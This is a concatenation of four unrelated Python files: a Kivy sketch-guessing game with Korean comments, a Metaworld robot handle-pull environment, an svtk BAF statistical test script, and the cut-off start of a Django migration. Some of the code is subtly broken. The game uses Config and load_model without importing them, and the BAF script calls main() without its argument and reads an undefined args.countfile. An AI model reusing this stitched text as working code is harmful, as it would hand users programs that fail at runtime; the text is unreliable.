Config.set('graphics', 'resizable', '0'); Config.set('graphics', 'borderless', '1')
Config.set('graphics', 'height', '600'); Config.set('graphics', 'width', '600')

from kivy.clock import Clock
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.screenmanager import ScreenManager, Screen, SlideTransition
from kivy.uix.widget import Widget
from kivy.graphics import Color, Line, Ellipse
from kivy.properties import StringProperty, NumericProperty

import numpy as np
import cv2
import os
import time
import sys

# 학습된 모델 활용을 위해 해당 스크립트에 로드합니다.
model = load_model('.\\model_dir\\QD_model.h5')

# 클래스를 자동으로 추출하도록 시행되는 코드입니다. 우선 클래스의 이름을 어디에서 참고할 것인지 경로를 지정합니다.
path = os.listdir(".\\numpy_dataset")
class_name = {}
class_count = 0
# For 문을 통해 해당 경로에 있는 모든 파일의 이름에 대하여 전부 확인합니다.
for file in path:
    # 우선 데이터세트 파일 이름을 통해 경로를 포함한 파일 이름 전체를 획득합니다.
    file = ".\\numpy_dataset\\" + file
    # splitext 매소드를 통해 확장자 텍스트를 제거합니다.
    file_name, _ = os.path.splitext(file)
    # 공통적으로 들어있는 앞 부분을 전부 제거하여 클래스의 이름만 추출하여 사전에 추가합니다.
    class_name[class_count] = file_name[38:]
    # 사전에 추가를 완료하였으면 다음 클래스 이름을 받기 위한 키를 할당합니다.
    class_count += 1

# 클래스 인덱스 순서를 무작위로 섞으되 반복되지 않도록 range를 설정하고 리스트에 재할당한 것입니다.
rand_int = np.arange(class_count-1)
np.random.shuffle(rand_int)

Builder.load_string("""
<Screen>:
    canvas:
        Color:
            rgb: 255, 255, 255
        Rectangle:
            size:self.size

<SettingsScreen>:
    id : div_screen
    ProjectCanvas:
        id: div_canvas
        canvas.before:
            Color:
                rgb: 255, 255, 255
            Rectangle:
                size: self.size
                pos: self.pos
    FloatLayout:
        Button:
            text: 'REDO'
            color: 0, 0, 0, 0.5
            size_hint: (.1, .1)
            pos_hint: {'right':0.3}
            background_color: (0, 0, 0, 0.1)
            on_release: div_canvas.redo()
        Button:
            text: 'UNDO'
            color: 0, 0, 0, 0.5
            size_hint: (.1, .1)
            pos_hint: {'right':0.2}
            background_color: (0, 0, 0, 0.1)
            on_release: div_canvas.undo()
        Button:
            text: 'CLEAR'
            bold: 1
            color: 1, 0, 0, 1
            size_hint: (.1, .1)
            pos_hint: {'right':0.1}
            background_color: (0, 0, 0, 0.1)
            on_release: div_canvas.new_canvas()
        Label:
            text: div_canvas.pred_realtime
            bold: 1
            font_size: 26
            color: 1, 0, 0, 1
            size_hint: (.1, .1)
            pos_hint: {'right':.95,'top':1}
            background_color: (0, 0, 0, 0)
        Label:
            text: str(app.time)
            color: 1, 0, 0, 1
            size_hint: (.1, .1)
            pos_hint: {'right':1}
            background_color: (0, 0, 0, 0)

<ProjectReady>:
    Button:
        text: root.show_keyword
        # 버튼에 마우스 클릭을 떼면 App 클래스, 즉 ProjectMain 내의 load_canvas() 클래스 매소드를 시행합니다.
        on_release: app.load_canvas()

<ProjectEnd>:
    BoxLayout:
        canvas.before:
            Color:
                rgba: 0, 0, 0, 0.62
            Rectangle:
                pos: self.pos
                size: self.size
        orientation: 'vertical'
        Label:
            text: 'CORRECT: ' + str(app.correct)
        BoxLayout:
            orientation: 'horizontal'
            size_hint_y:0.5
            Button:
                text: 'FINISH'
                on_release: app.end()
            Button:
                text: 'AGAIN'
                on_release: app.again()

<ProjectCorrect>:
    Button:
        text:'CORRECT'
        on_release: app.load_ready()

<ProjectWrong>:
    Button:
        text:'WRONG'
        on_release: app.load_ready()
""")

class SettingsScreen(Screen):
    pass

# ProjectCanvas() 클래스는 Screen()를 슈퍼클래스로 두는 서브클래스입니다.
# 프로그램에서 실제로 그림을 그릴 수 있는 틀인 "캔버스"를 제공합니다.
# 본 클래스는 ProjectMain()이라는 클래스의 self.canvas 속성에 할당되었습니다.
class ProjectCanvas(Widget):

    # drawing 변수는 그림의 한 점 또는 한 획에 대한 (x,y) 좌표 정보의 1차원 행렬을 담는 2차원 NumPy 행렬이다.
    drawing = []

    # undolist 변수는 undo 버튼을 클릭하였을 때, 되돌리기 기능의 redo 버튼을 대비한 임시 정보 저장을 위한 2차원 NumPy 행렬입니다.
    # undolist 변수가 담는 정보는 한 획의 (x,y) 좌표 정보가 있는 1차원 행렬입니다.
    undolist = []

    # 실시간으로 추론 결과를 화면에 보여지도록 하는 String 전용 변수입니다.
    pred_realtime = StringProperty()

    # ProjectCanvas()의 __init__은 속성 초기값을 설정하며, 직접 self.attribute_name 등을 통해 속성을 만들 수도 있습니다.
    # 어떠한 값이 입력될 것인지 알지만 아직 정의되지 않은 파라미터는 "**kwargs" (i.e. known arguments)라고 합니다.
    # 그리고 여러 입력을 받을 수 있도록 하는 파라미터는 "*args"라고 합니다.
    def __init__(self, **kwargs):
        # ProjectCanvas()가 속해있는 Screen() 슈퍼클래스의 __init__ 속성을 모두 ProjectCanvas().__init__에 불러옵니다.
        # PYTHON 2에서는 아래의 코드를 사용하나, PYTHON 3에서는 코드를 super().__init__(**kwargs)로 간략화시킬 수 있습니다.
        super(ProjectCanvas, self).__init__(**kwargs)
        self.pred_realtime = ''

    # 마우스로 캔버스를 클릭할 때 캔버스에 점을 찍을 수 있도록 지정하며, 직선의 시작점을 제공하기도 합니다.
    def on_touch_down(self, touch):
        with self.canvas:
            # 캔버스에 그릴 색과 획의 두께를 결정합니다.
            Color(0, 0, 0); d = 16
            # 마우스 클릭 한 번으로 점을 찍으며 <Ellipse object>. 이를 drawing 변수에 추가합니다.
            self.drawing.append(Ellipse(pos=(touch.x - d / 2, touch.y - d / 2), size=(d, d)))
            # 마우스 클릭을 하고 움직일 때 <Line object> 좌표 정보를 drawing 변수에 추가합니다.
            # 즉, 한 번의 마우스 클릭은 <Ellipse object>와 <Line object>의 좌표 정보를 동시에 저장합니다.
            self.ud = Line(points=(touch.x, touch.y), width=8)
            self.drawing.append(self.ud)

    # 마우스가 클릭된 상태에서 캔버스 위에 움직였을 때, 직선을 그릴 수 있도록 합니다.
    def on_touch_move(self, touch):
        """전체적인 이동경로 좌표를 보고 싶으면 해당 함수의 끝부분에 print(touch.ud['line'])를 추가하도록 합니다.
        만일 시좌표(instantaneous coordinate)을 보고 싶으면 대신 print(np.array(Window.mouse_pos))을 추가합니다."""
        # 아래의 코드가 활성화되지 않으면 선을 그릴 수가 없습니다.
        # 여기에 저장된 데이터로 시작점과 불연속점, 그리고 끝점을 모두 입력받아 실시간으로 선을 캔버스에 나타내는 방식입니다.
        self.ud.points += [touch.x, touch.y]

        # 실시간 데이터 처리가 가장 이상적이지만, 현재 추출하고자 하는 데이터는 막대한 픽셀양의 PNG 이미지이다.
        # 실시간 이미지 처리에 최적화되지 않은 KIVY에서는 실시간 데이터 처리는 오히려 심각한 문제를 야기한다.
        # 어차피 그림의 시작과 끝에 PNG 추출이 이루어지므로, 획이 특정 데이터양이 모일 때만 PNG를 추출한다.
        if len(self.ud.points) % 100 is 0:
            self.capture_canvas()

    # 마우스 클릭을 뗀 상태에서 직선 정보보다 PNG 이미지 추출이 중점으로 여긴다.
    def on_touch_up(self, touch):
        # 좌표 평면을 행렬화하여 계산하는 것보다 직접 캔버스에 그려진 이미지를 추출하여 활용한다.
        # 수학적으로 좌표평면 위치들을 행렬화시켜 활요하는 것은 픽셀레이션 및 각 픽셀에 대한 회색조 값에 대하여
        # 표현하는데 더 복잡해지는 문제가 생긴다.
        self.capture_canvas()

    # Undo 버튼을 클릭할 시 실행되는 함수입니다.
    def undo(self):
        # 만일 그림을 그린게 없으면 undo 함수는 아무런 기능을 하지 않습니다.
        if len(self.drawing) == 0:
            return
        # <Ellipse object> 및 <Line object> 좌표 정보를 임시 변수에 추출합니다.
        tmp_ellipse = self.drawing.pop(-2)
        tmp_line = self.drawing.pop(-1)
        # Undo 및 Redo 기능을 위해 좌표 정보를 undolist 리스트 변수에 저장합니다.
        self.undolist.append(tmp_ellipse)
        self.undolist.append(tmp_line)
        # 캔버스에 저장된 해당 좌표 정보들을 삭제합니다.
        self.canvas.remove(tmp_ellipse)
        self.canvas.remove(tmp_line)
        # 삭제하여 변경된 그림을 추론을 위해 저장합니다.
        self.capture_canvas()

    # Redo 버튼을 클릭할 시 실행되는 함수입니다.
    def redo(self):
        # 만일 그림을 그린게 없으면 redo 함수 또한 아무런 기능을 하지 않습니다.
        if len(self.undolist) == 0:
            return
        # undolist 리스트 변수에 임시로 저장된 <Ellipse object> 및 <Line object> 좌표 정보를 임시 변수에 추출합니다.
        tmp_ellipse = self.undolist.pop(-2)
        tmp_line = self.undolist.pop(-1)
        # Undo 및 Redo 기능을 위해 좌표 정보를 drawing 리스트 변수에 저장합니다.
        self.drawing.append(tmp_ellipse)
        self.drawing.append(tmp_line)
        # 캔버스에 저장된 해당 좌표 정보들을 추가합니다.
        self.canvas.add(tmp_ellipse)
        self.canvas.add(tmp_line)
        # 추가하여 변경된 그림을 추론을 위해 저장합니다.
        self.capture_canvas()

    # Clear 버튼을 눌렀을 때 캔버스와 모든 리스트 변수도 모두 초기화시키고 화면에 보여질 실시간 추론 결과도 공백으로 바꿉니다.
    def new_canvas(self):
        self.canvas.clear()
        self.drawing.clear()
        self.undolist.clear()
        self.pred_realtime = ''

    # PNG 이미지 저장을 할 떄마다 예측모델이 이미지 추론을 진행합니다.
    def capture_canvas(self):
        # 이미지를 CANVAS.PNG 이름으로 저장합니다.
        self.export_to_png(".\\image\\CANVAS.PNG")
        # png2numpy() 함수를 통해 변환된 NumPy 행렬을 입력 데이터로 넣기 위해 4차원으로 재조정합니다.
        processed = png2numpy().reshape(1, 28, 28, 1)
        # 입력 데이터에 대한 각 클래스의 추론 확률을 불러옵니다.
        self.pred_probab = model.predict(processed)[0]
        # 가장 높은 확률의 추론 데이터의 클래스를 확인합니다.
        self.pred_class = list(self.pred_probab).index(max(self.pred_probab))
        print("실시간 추론 결과: [1위] " + class_name[self.pred_class] + " - " + str(max(self.pred_probab)))
        self.pred_realtime = class_name[self.pred_class]

# PNG 확장자를 모델 입력 데이터로 최적화시킨 NumPy로 변환시키는 함수입니다.
def png2numpy():
    # PNG 이미지 파일을 NumPy 행렬로 변환시키며, 각 픽셀은 RGB 값으로 할당된다.
    img = cv2.imread('.\\image\\CANVAS.PNG')
    # RGB 값들로 구성된 NumPy 행렬을 회색조 값으로 구성되 NumPy 행렬로 변환합니다.
    img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    # 하얀색 배경이 255 값으로 할당되어 있어, 아래의 코드는 값들을 반전시키며 np.uint8을 통해 최대값을 1로 변환시킵니다.
    img = (img < 128).astype(np.uint8)

    # coords는 행과 열이 영벡터가 아닌 동안의 벡터의 시작점을 [x, y] 행렬로 값을 추출하고, 이들의 값 차이가 바로 너비와 높이가 된다.
    coords = cv2.findNonZero(img)
    # 그림이 시작되는 x값, y값, 그림의 너비 w 및 높이 h를 획득합니다.
    x, y, w, h = cv2.boundingRect(coords)

    # 너비와 높이의 크기를 비교하여 그림을 중심에 위치할 수 있도록 설정합니다.
    if h > w:
        norm = np.zeros((h + 2, h + 2), dtype=np.float32)
        norm[1:-1, int((h - w) / 2) + 1:int((h - w) / 2) + 1 + w] = img[y:y + h, x:x + w]
    else:
        norm = np.zeros((w + 2, w + 2), dtype=np.float32)
        norm[int((w - h) / 2) + 1:int((w - h) / 2) + 1 + h, 1:-1] = img[y:y + h, x:x + w]

    # 동일한 비율로 cropping 된 그림을 모델 입력 데이터에 맞게 1px 테두리 패딩의 28x28 픽셀 대응 2차원 NumPy 행렬로 변환시킨다.
    img = cv2.resize(norm, (26, 26), interpolation=cv2.INTER_AREA)
    img = np.pad(img, pad_width=1, mode='constant', constant_values=0)
    return img

# 캔버스에 그림을 그리기 전에 주제어를 제공하는 등의 스크린을 담당합니다.
class ProjectReady(Screen):
    # KIVY 언어 내에서 할당된 변수를 아래와 같은 방식으로 할당한다; string 형식.
    show_keyword = StringProperty()

    def __init__(self, **kwargs):
        super(ProjectReady, self).__init__(**kwargs)
        # 무작위로 섞인 키워드를 순서대로 반복없이 선별하는 count 속성을 통해 초기 주제어를 설정합니다.
        self.count = 0
        self.show_keyword = class_name[rand_int[self.count]]

    def update_keyword(self):
        # 다음 순서의 키워드를 선별하기 위해 count 속성에 +1을 하고, 새로운 키워드를 가져옵니다.
        self.count += 1
        self.show_keyword = class_name[rand_int[self.count]]

# 게임이 종료될 때 나타나는 스크린 화면에 대한 클래스입니다.
class ProjectEnd(Screen):
    pass

# 캔버스에 그림을 그려 컴퓨터가 맞은 추론을 하였을 때 나타나는 스크린 화면에 대한 클래스입니다.
class ProjectCorrect(Screen):
    pass

# 캔버스에 그림을 그려 컴퓨터가 제 시간 내에 추론을 하지 못하였을 때 나타나는 스크린 화면에 대한 클래스입니다.
class ProjectWrong(Screen):
    pass

# KIVY 형식의 어플리케이션을 실제로 실행가능하도록 수행하는 App 클래스로 형성된 ProjectMain() 클래스입니다.
# 어플리케이션의 주된 기능 및 함수들은 이곳에 포함되어 개발됩니다.
class ProjectMain(App):
    # 실시간으로 추론 결과를 화면에 보여지도록 하는 String 전용 변수입니다.
    pred_realtime = StringProperty()

    # 맞춘 문제 개수를 카운트 하기 위한 숫자 전용 변수입니다.
    correct = NumericProperty()

    # 카운트다운을 위한 숫자 전용 변수입니다.
    time = NumericProperty()

    rand_int_count = NumericProperty()

    # ProjectMain()의 __init__은 속성 초기값을 설정하며, 직접 self.attribute_name 등을 통해 속성을 만들 수도 있습니다.
    def __init__(self, **kwargs):
        # ProjectMain()이 속해있는 App() 슈퍼클래스의 __init__ 속성을 모두 ProjectMain().__init__에 불러옵니다.
        super(ProjectMain, self).__init__(**kwargs)
        # count 변수는 문제의 개수를 카운트하기 위한 것입니다.
        self.count = 0
        self.correct = 0
        self.pred_realtime = ''
        self.start = 0
        self.time = 0

    # build() 매소드는 App 클래스 내에 작성 및 내포된 코드를 통해 어플리케이션을 실행시킵니다.
    # return 값을 특정 위젯으로 지정하면, 해당 위젯을 root 위젯으로 설정하고 KIVY 창에 나타납니다.
    def build(self):
        # KIVY 어플리케이션 창 이름을 지정합니다.
        self.title = 'KIVY Canvas'
        # ProjectReady() 및 ProjectCanvas() 클래스를 ProjectMain() 클래스 내의 속성(attribute)에 정의합니다.
        # ProjectReady() 및 ProjectEnd()은 Screen 클래스이며, 각자 이름은 'ready'와 'end'입니다.
        # ProjectCorrect() 및 ProjectWrong()은 Screen 클래스이며, 각자 이름은 'got_correct'와 'got_wrong'입니다.
        # 이는 ScreenManager() 클래스가 스크린을 스크린 속성의 name 을 통해 제어/관리를 하기 때문입니다.
        self.ready = ProjectReady(name='ready')
        self.end = ProjectEnd(name='end')
        self.got_correct = ProjectCorrect(name='got_correct')
        self.got_wrong = ProjectWrong(name='got_wrong')
        self.canvas = SettingsScreen(name='canvas')

        # ProjectReady()의 카운팅 속성에 접속을 하여 수정을 가능토록 하며, 게임을 새로 시작할 시 필요합니다.
        self.ready.count = 0

        # ProjectMain() 클래스에 0.35초만에 화면을 슬라이드 천이이동시키는 transition 속성을 부여합니다.
        self.transition = SlideTransition(duration=0.35)
        # 이름 "root"라는 ScreenManager()은 어플리케이션 내에서 여러 스크린을 제어 및 관리하기 위해 사용됩니다.
        # 그 중에서 "root"의 스크린 천이방식은 transition 속성을 통해 이루어집니다(즉, 0.35초만의 슬라이드 천이).
        root = ScreenManager(transition=self.transition)
        # ProjectReady() 및 End(), Correct()과 Wrong()을 속성을 통해" root"에 넣어 ScreenManager()로 제어가 가능합니다.
        root.add_widget(self.ready)
        root.add_widget(self.end)
        root.add_widget(self.got_correct)
        root.add_widget(self.got_wrong)
        root.add_widget(self.canvas)

        # 클래스 매소드 self.Is_predicting을 매초마다 실행하며, 본 클래스 매소드가 추론이 옳고 그름을 결정한다.
        Clock.schedule_interval(self.is_predicting, 1)

        # build() 메소드의 return 값이 "root"로 정해지며, 이제 해당 어플리케이션의 뿌리(root)는 "root"입니다.
        return root

    # ProjectCanvas() 화면으로 전환하였을 경우, 20초
    def is_predicting(self, *args):
        # 타이머를 실행시키는데, 계산법은 CPU 에서 지속적으로 측정된 클래스 시행 시간을 self.start 라는 캔버스를 불러왔는데 걸린
        # 동일한 CPU 측정 시간을 빼서 정수화 시킨 것이다. Clock.schedule_interval(self.is_predicting, 1) 문으로 인해 매초마다
        # int(time.time() - self.start)은 1초씩 증가하게 되는데, 이를 20초에 빼서 20초 타이머로 만들었다.
        self.time = 20 - int(time.time() - self.start)

        # 본격적인 추론 작업은 오로지 ProjectCanvas() 스크린이 현재 화면에 나탄났을 때에만 진행한다.
        if self.root.current == 'canvas':
            # 타이머가 0이 되기 전에 경우에서...
            if self.time != 0:
                # 추론 결과가 키워드와 동일하면...
                if self.canvas.children[1].pred_realtime == self.ready.show_keyword:
                    # 맞춘 문제 카운트를 +1 하고, 정답 맞춤 화면인 ProjectCorrect() 스크린으로 전환합니다.
                    self.correct += 1
                    self.rand_int_count += 1
                    self.transition.direction = 'right'
                    self.root.current = 'got_correct'
            # 그러나 타이머가 0이 되었을 시...
            else:
                # 때마침 추론 결과가 키워드와 동일할 경우를 대비하여...
                if self.canvas.children[1].pred_realtime == self.ready.show_keyword:
                    # 맞춘 문제 카운트를 +1 하고, 정답 맞춤 화면인 ProjectCorrect() 스크린으로 전환합니다.
                    self.correct += 1
                    self.rand_int_count += 1
                    self.transition.direction = 'right'
                    self.root.current = 'got_correct'
                # 하지만 추론 결과가 키워드와 전혀 동일하지 않으면...
                else:
                    # 정답 틀림 화면인 ProjectWrong() 스크린으로 전환합니다.
                    self.rand_int_count += 1
                    self.transition.direction = 'right'
                    self.root.current = 'got_wrong'

    # 대기화면 ProjectReady()에서 'start' 버튼을 누르면 대기화면을 치우도록 시행되는 클래스 매소드입니다.
    def load_canvas(self):
        # 스크린 천이이동을 왼쪽으로 가게 합니다.
        self.transition.direction = 'left'

        # count 속성에 +1을 하여 카운트합니다.
        self.count += 1
        # start 속성은 20초 시간 카운트다운을 위한 것입니다.
        self.start = time.time()

        # ScreenManager()의 current 속성은 "root"에 현재 보여질 화면을 의미합니다.
        # 그러므로 "root"의 현재 화면을 ProjectCanvas()로 설정하여, 버튼을 클릭하면 바로 캔버스가 나타나게 합니다.
        self.root.current = 'canvas'

    # 캔버스 화면 ProjectCanvas()에서 대기화면 ProjectReady()로 화면 전환을 하는데 시행되는 클래스 매소드입니다.
    def load_ready(self):
        # 만일 count 속성으로 카운팅된 숫자가 5, 즉 5개의 문제를 모두 풀었으면 load_end() 클래스 매소드를 시행합니다.
        if self.count == 5:
            self.load_end()
        # 만일 5개의 문제를 풀지 않은 상태일 때 시행됩니다.
        else:
            # 대기화면에 나타날 키워드를 update_keyword() 클래스 매소드를 통해 임의로 새로 할당합니다.
            self.ready.update_keyword()
            # 기준의 캔버스를 새로운 캔버스로 덮어씁니다.
            self.canvas.children[1].new_canvas()
            # 화면 전환을 오른쪽 방향으로 진행합니다.
            self.transition.direction = 'right'
            # 현재 보여질 화면의 이름은 'ready'입니다.
            self.root.current = 'ready'

    # ProjectEnd()를 불러오는 클래스 매소드입니다.
    def load_end(self):
        self.transition.direction = 'right'
        self.root.current = 'end'

    # ProjectEnd() 스크린에서 AGAIN 버튼을 눌렀을 때, 문제를 처음부터 다시 풀도록 모든 속성을 초기화시키는 클래스 매소드입니다.
    def again(self):
        # 모든 것(캔버스, 카운팅, 키워드 등)들을 초기화시킵니다.
        self.canvas.children[1].new_canvas()
        self.count = 0
        self.correct = 0
        self.ready.update_keyword()
        self.transition.direction = 'right'
        self.root.current = 'ready'
        self.ready.count = 0

        # 무작위로 섞은 인덱스를 다시 한 번 무작위로 섞습니다.
        np.random.shuffle(rand_int)

    # ProjectEnd() 스크린 화면에서 FINISH 버튼을 눌렀을 때, 시스템을 종료하는 정적 클래스 매소드(self 구성이 없는 함수)입니다.
    @staticmethod
    def end():
        sys.exit(1)

# 본 스크립트가 외부 스크립트가 아닌 주요 스크립트로 실행될 때에만 위의 프로그램을 정상적으로 실행시킵니다.
if __name__ == '__main__':
    # run() 매소드는 개발환경 필요없이 독립적으로 실행할 수 있도록 합니다.
    ProjectMain().run()


import numpy as np
from gym.spaces import Box

from metaworld.envs import reward_utils
from metaworld.envs.asset_path_utils import full_v2_path_for
from metaworld.envs.mujoco.sawyer_xyz.sawyer_xyz_env import SawyerXYZEnv, _assert_task_is_set

class SawyerHandlePullSideEnvV2(SawyerXYZEnv):

    def __init__(self):

        hand_low = (-0.5, 0.40, 0.05)
        hand_high = (0.5, 1, 0.5)
        obj_low = (-0.35, 0.65, 0.0)
        obj_high = (-0.25, 0.75, 0.0)

        super().__init__(
            self.model_name,
            hand_low=hand_low,
            hand_high=hand_high,
        )

        self.init_config = {
            'obj_init_pos': np.array([-0.3, 0.7, 0.0]),
            'hand_init_pos': np.array((0, 0.6, 0.2),),
        }
        self.goal = np.array([-0.2, 0.7, 0.14])
        self.obj_init_pos = self.init_config['obj_init_pos']
        self.hand_init_pos = self.init_config['hand_init_pos']

        goal_low = self.hand_low
        goal_high = self.hand_high

        self._random_reset_space = Box(
            np.array(obj_low),
            np.array(obj_high),
        )
        self.goal_space = Box(np.array(goal_low), np.array(goal_high))

    @property
    def model_name(self):
        return full_v2_path_for('sawyer_xyz/sawyer_handle_press_sideways.xml')

    @_assert_task_is_set
    def evaluate_state(self, obs, action):
        obj = obs[4:7]

        (
            reward,
            tcp_to_obj,
            tcp_open,
            obj_to_target,
            grasp_reward,
            in_place_reward
        ) = self.compute_reward(action, obs)

        info = {
            'success': float(obj_to_target <= 0.08),
            'near_object': float(tcp_to_obj <= 0.05),
            'grasp_success': float(
                (tcp_open > 0) and
                (obj[2] - 0.03 > self.obj_init_pos[2])
            ),
            'grasp_reward': grasp_reward,
            'in_place_reward': in_place_reward,
            'obj_to_target': obj_to_target,
            'unscaled_reward': reward,
        }

        return reward, info

    @property
    def _target_site_config(self):
        return []

    def _get_pos_objects(self):
        return self._get_site_pos('handleCenter')

    def _get_quat_objects(self):
        return np.zeros(4)

    def _set_obj_xyz(self, pos):
        qpos = self.data.qpos.flat.copy()
        qvel = self.data.qvel.flat.copy()
        qpos[9] = pos
        qvel[9] = 0
        self.set_state(qpos, qvel)

    def reset_model(self):
        self._reset_hand()

        self.obj_init_pos = (self._get_state_rand_vec()
                             if self.random_init
                             else self.init_config['obj_init_pos'])

        self.sim.model.body_pos[self.model.body_name2id('box')] = self.obj_init_pos
        self._set_obj_xyz(-0.1)
        self._target_pos = self._get_site_pos('goalPull')
        self.maxDist = np.abs(self.data.site_xpos[self.model.site_name2id('handleStart')][-1] - self._target_pos[-1])
        self.target_reward = 1000*self.maxDist + 1000*2
        self.obj_init_pos = self._get_pos_objects()

        return self._get_obs()

    def compute_reward(self, action, obs):
        obj = obs[4:7]
        # Force target to be slightly above basketball hoop
        target = self._target_pos.copy()

        # Emphasize Z error
        scale = np.array([1., 1., 1.])
        target_to_obj = (obj - target) * scale
        target_to_obj = np.linalg.norm(target_to_obj)
        target_to_obj_init = (self.obj_init_pos - target) * scale
        target_to_obj_init = np.linalg.norm(target_to_obj_init)

        in_place = reward_utils.tolerance(
            target_to_obj,
            bounds=(0, self.TARGET_RADIUS),
            margin=target_to_obj_init,
            sigmoid='long_tail',
        )

        object_grasped = self._gripper_caging_reward(
            action,
            obj,
            pad_success_thresh=0.06,
            obj_radius=0.032,
            object_reach_radius=0.01,
            xz_thresh=0.01,
            high_density=True,
        )
        reward = reward_utils.hamacher_product(object_grasped, in_place)
        # reward = in_place

        tcp_opened = obs[3]
        tcp_to_obj = np.linalg.norm(obj - self.tcp_center)

        if tcp_to_obj < 0.035 and tcp_opened > 0 and \
                obj[2] - 0.01 > self.obj_init_pos[2]:
            reward += 1. + 5. * in_place
        if target_to_obj < self.TARGET_RADIUS:
            reward = 10.
        return (
            reward,
            tcp_to_obj,
            tcp_opened,
            target_to_obj,
            object_grasped,
            in_place
        )


#!usr/bin/env python
from svtk.baf.BAFpysam import *
import argparse
from collections import deque
import numpy as np
import pandas as pd
import pysam
import boto3
import sys
##########
def preprocess(chrom, start, end, tbx, samples, window=None):
    """
    Report normalized BAFs in a set of samples across a desired region.

    Parameters
    ----------
    chrom : str
    start : int
    end : int
    vcf : pysam.VariantFile
        GATK VCF
    samples : list of str, optional
        Samples to consider (Defaults to all in VCF)
    window : int, optional
        Window around CNV to consider (Defaults to CNV length)

    Returns
    -------
    het_counts : pd.DataFrame
        Per-sample counts of heterozygous SNPs in windows before, inside, and
        after CNV
    called_bafs : pd.DataFrame
        BAF of each called SNP within CNV
    """

    # Load and filter SNP sites
    if window is None:
        window = end - start
    # records = tbx.fetch(chrom, start - window, end + window,parser=pysam.asTuple())
    # sites = deque()
    bafs = deque()
    if window<1000000:
        for record in tbx.fetch(chrom, max(1,start - window), end + window,parser=pysam.asTuple()):
            bafs.append(np.array(record))
    else:

        for record in tbx.fetch(chrom, max(1,start - 1000000), start,parser=pysam.asTuple()):
            bafs.append(np.array(record))
        for record in tbx.fetch(chrom, (start+end)//2-500000, (start+end)//2+500000,parser=pysam.asTuple()):
            bafs.append(np.array(record))
        for record in tbx.fetch(chrom, end, end + 1000000,parser=pysam.asTuple()):
            bafs.append(np.array(record))
    bafs=np.array(bafs)
    # if bafs.shape[0] == 0:
        # return 0,0
    bafs=pd.DataFrame(bafs)
    if bafs.empty:
        return bafs,bafs
    bafs.columns = ['chr','pos','baf','sample']
    bafs=bafs[bafs['sample'].isin(samples)]
    # print(bafs)
    if bafs.empty:
        return bafs,bafs
    bafs['pos']=bafs.pos.astype(int)
    bafs['baf']=bafs.baf.astype(float)
    # print(bafqs)
    bafs.loc[bafs.pos <= start, 'region'] = 'before'
    bafs.loc[bafs.pos >= end, 'region'] = 'after'
    bafs.loc[(bafs.pos > start) & (bafs.pos < end), 'region'] = 'inside'
    het_counts = bafs.groupby('sample region'.split()).size().reset_index().rename(columns={0: 'count'})
    het_counts = het_counts.pivot_table(values='count', index='sample',columns='region', fill_value=0)
    het_counts = het_counts.reindex(samples).fillna(0).astype(int)
    cols = 'before inside after sample'.split()
    het_counts = het_counts.reset_index()
    for colname in cols:
        if colname not in het_counts.columns:
            het_counts[colname]=0
    # het_counts = het_counts.reset_index()[cols]
    # Report BAF for variants inside CNV
    called_bafs = bafs.loc[bafs.region == 'inside'].copy()
    return het_counts, called_bafs

def main(argv):
    parser = argparse.ArgumentParser(
        description=__doc__,
        prog='svtk baf-test',
        formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument('bed', help='BAF bed.')
    parser.add_argument('file', help='Compiled snp file')
    parser.add_argument('-b', '--batch',)
    parser.add_argument('--index', help='Tabix index for remote bed')
                    # help='Samples')

    # Print help if no arguments specified
    if len(argv) == 0:
        parser.print_help()
        sys.exit(1)
    args = parser.parse_args(argv)

    fi=args.file
    # if args.vcf.startswith('s3://'):
        # vcf_path = args.vcf[5:]
        # bucket = vcf_path.split('/')[0]
        # vcf_path = '/'.join(vcf_path.split('/')[1:])

        # vcf = load_s3vcf(bucket, vcf_path, args.tbi)

    # else:
        # vcf = pysam.VariantFile(args.vcf)
    splist=[]
    with open(args.batch,'r') as f:
        f.readline()
        for line in f:
            splist.append(line.split('\t')[0])
    total_sample = sum(1 for line in open(args.batch))-1

    if args.index is not None:
        tbx = pysam.TabixFile(args.file, index=args.index)
    else:
        if args.countfile.startswith('http'):
            raise Exception('Must provide tabix index with remote URL')
        tbx = pysam.TabixFile(args.file)

    with open(args.bed,'r') as f:
        for line in f:
            if line[0]!="#":
                dat=line.rstrip().split('\t')
                chrom=dat[0]
                start=int(dat[1])
                end=int(dat[2])
                id=dat[3]
                samples=dat[4]
                samplelist=samples.split(',')
                type=dat[5]
                het_counts, called_bafs = preprocess(chrom, start, end, tbx, samples=splist)
                ###### Running BAF testing
                if not het_counts.empty:
                    Del=DeletionTest(het_counts,samplelist,min(end-start,1000000))
                    KS=KS2sample(called_bafs,samplelist)
                    ks,ksp=KS.test(samplelist)
                    mean,delp=Del.Ttest(samplelist)
                    statis=Del.stats(samplelist)
                    line=chrom+'\t'+str(start)+'\t'+str(end)+'\t'+id+'\t'+samples+'\t'+type+'\t'+str(mean)+','+str(delp)+"\t"+str(ks)+','+str(ksp)+'\t'+statis
                else:
                    line=chrom+'\t'+str(start)+'\t'+str(end)+'\t'+id+'\t'+samples+'\t'+type+'\t'+'NoSNP'+','+'NoSNP'+"\t"+'NoSNP'+','+'NoSNP'+'\t'+'NoSNP'
                line=line.rstrip()
                dat=line.split('\t')
                if len(dat)>11:
                    dat=dat[0:11]
                    dat[-1]=dat[-1][0:-len(dat[0])]
                    line='\t'.join(dat)
                if len(dat)<11:
                    dat=line.split('\t')
                    samp=dat[4]
                    nsamp=len(dat[4].split(','))
                    ncontrol=total_sample-nsamp
                    dat=dat[0:-1]+['0,0\t0,'+str(nsamp)+'\t0,0,'+str(ncontrol)]
                    line='\t'.join(dat)
                dat=line.split('\t')
                delp=dat[6]
                dupp=dat[7]
                try:
                    dp=float(delp.split(',')[0])
                    dstat=float(delp.split(',')[1])
                    derr='delOK'
                except:
                    dstat='NA'
                    dp='NA'
                    derr=delp.split(',')[1]
                try:
                    up=float(dupp.split(',')[0])
                    ustat=float(dupp.split(',')[1])
                    uerr='dupOK'
                except:
                    ustat='NA'
                    up='NA'
                    uerr=dupp.split(',')[1]
                dat=dat[0:6]+[derr,str(dp),str(dstat),uerr,str(up),str(ustat)]+dat[8].split(',')+dat[9].split(',')+dat[10].split(',')
                print('\t'.join(dat))
                sys.stdout.flush()
if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations
from django.conf import settings

class Migration(migrations.Migration):

    dependencies = [
